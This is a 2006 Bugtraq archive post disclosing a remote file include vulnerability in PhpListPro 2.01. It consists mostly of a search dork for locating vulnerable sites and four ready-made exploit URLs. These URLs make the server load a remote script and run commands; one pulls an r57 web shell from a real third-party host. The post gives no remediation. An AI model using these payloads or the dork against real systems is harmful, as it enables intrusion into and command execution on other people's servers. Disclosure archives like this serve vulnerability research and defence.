Bugtraq mailing list archives

PhpListPro 2.01 Remote File Include Vulnerability

From: SnoBMSN () Hotmail De
Date: 8 May 2006 20:40:10 -0000

Credits:
Discovered by: SnoB ->> SnoBmsn () hotmail de
http://www.cyber-security.org

Vendor URL : SmartISoft http://smartisoft.com

Dork/Search for: "PHPListPro ©2001-2006 SmartISoft"

Exploit : 

/config.php?returnpath=http://www.example.com/yourscript.txt?&ls%20-laF
/editsite.php?returnpath=http://www.example.com/yourscript.txt?&ls%20-laF
/in.php?returnpath=http://www.example.com/yourscript.txt?&ls%20-laF
/addsite.php?returnpath=http://mitglied.lycos.de/n0ssy/r57.txt?&cmd=ls

Security Adivisory | Edithor by SnoB

Current thread:

PhpListPro 2.01 Remote File Include Vulnerability SnoBMSN (May 10)
- <Possible follow-ups>
- Re: PhpListPro 2.01 Remote File Include Vulnerability not (May 26)